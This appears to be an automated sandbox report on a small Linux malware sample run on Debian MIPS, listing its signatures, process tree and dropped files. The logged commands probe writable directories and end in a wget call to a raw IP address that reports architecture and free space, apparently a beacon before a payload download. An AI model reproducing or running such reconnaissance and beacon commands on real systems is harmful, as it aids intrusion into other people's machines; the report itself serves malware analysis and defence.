Overview

overview

3

Static

static

1

60b4d5298e...2f32a2

ubuntu-18.04-amd64

3

60b4d5298e...2f32a2

debian-9-armhf

3

60b4d5298e...2f32a2

debian-9-mips

3

60b4d5298e...2f32a2

debian-9-mipsel

3

Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/10/2026, 10:14

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    60b4d5298e7dce610f7d2660d995b5a4bb50315a4b562efd4e7286ea742f32a2
  • Size 21KB
  • Sample261027-l95e9adc22
  • SHA256 60b4d5298e7dce610f7d2660d995b5a4bb50315a4b562efd4e7286ea742f32a2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 9 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/60b4d5298e7dce610f7d2660d995b5a4bb50315a4b562efd4e7286ea742f32a2
    /tmp/60b4d5298e7dce610f7d2660d995b5a4bb50315a4b562efd4e7286ea742f32a2
    1⤵
    • Reads runtime system information
    • Writes file to tmp directory
    PID:717
    • /bin/cat
      cat /tmp/wsh.log
      2⤵
        PID:720
      • /usr/bin/wc
        wc -l
        2⤵
          PID:721
        • /usr/bin/expr
          expr 0 + 1
          2⤵
            PID:723
          • /bin/date
            date
            2⤵
              PID:725
            • /bin/rm
              rm -f /var/tmp/.wtest
              2⤵
                PID:730
              • /bin/df
                df -k /var/tmp
                2⤵
                • Reads runtime system information
                PID:735
              • /bin/df
                df -k /tmp
                2⤵
                • Reads runtime system information
                PID:739
              • /bin/df
                df -k /dev/shm
                2⤵
                • Reads runtime system information
                PID:743
              • /bin/df
                df -k /var/run
                2⤵
                • Reads runtime system information
                PID:747
              • /bin/df
                df -k /mnt
                2⤵
                • Reads runtime system information
                PID:751
              • /bin/df
                df -k /root
                2⤵
                • Reads runtime system information
                PID:753
              • /bin/df
                df -k /home
                2⤵
                • Reads runtime system information
                PID:756
              • /bin/df
                df -k /opt
                2⤵
                • Reads runtime system information
                PID:759
              • /bin/rm
                rm -f /var/tmp/.wtest
                2⤵
                  PID:760
                • /bin/uname
                  uname -m
                  2⤵
                    PID:762
                  • /bin/uname
                    uname -m
                    2⤵
                      PID:763
                    • /bin/dd
                      dd "if=/dev/zero" "of=/var/tmp/.wtest" "bs=1024" "count=64"
                      2⤵
                        PID:765
                      • /usr/bin/wc
                        wc -c
                        2⤵
                          PID:768
                        • /bin/rm
                          rm -f /var/tmp/.wtest
                          2⤵
                            PID:769
                          • /usr/bin/wget
                            wget -q -T 8 -O /dev/null http://94.249.184.157:443/api/v2/diag/wsh-early/mips/dirtmp/free0kb/w65536/twcb
                            2⤵
                            • System Network Configuration Discovery
                            PID:770

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              wsh.log
                              • Path /tmp/wsh.log
                              • Size 48B
                              • SHA256 0309ffad27b1de6ac55df12a5cb590844d59cfd2b6c697a8d96ee071b4e3d54a
                              • MD5 SHA1 SHA512
                              Submit Download

                              wsh.log
                              • Path /tmp/wsh.log
                              • Size 83B
                              • SHA256 ce3e5b53c0d7540046b88cb1dec19310f669371ead43717e71f10ccd44cdd5cc
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              wsh.log
                              • Path /tmp/wsh.log
                              • Size 135B
                              • SHA256 7b73e20cbb41d36abe671568365d3afe0131e79cc9008f1bae2cc2209a6001d8
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              .wtest
                              • Path /var/tmp/.wtest
                              • Size 64KB
                              • SHA256 de2f256064a0af797747c2b97505dc0b9f3df0de4f489eac731c23ae9ca9cc31
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download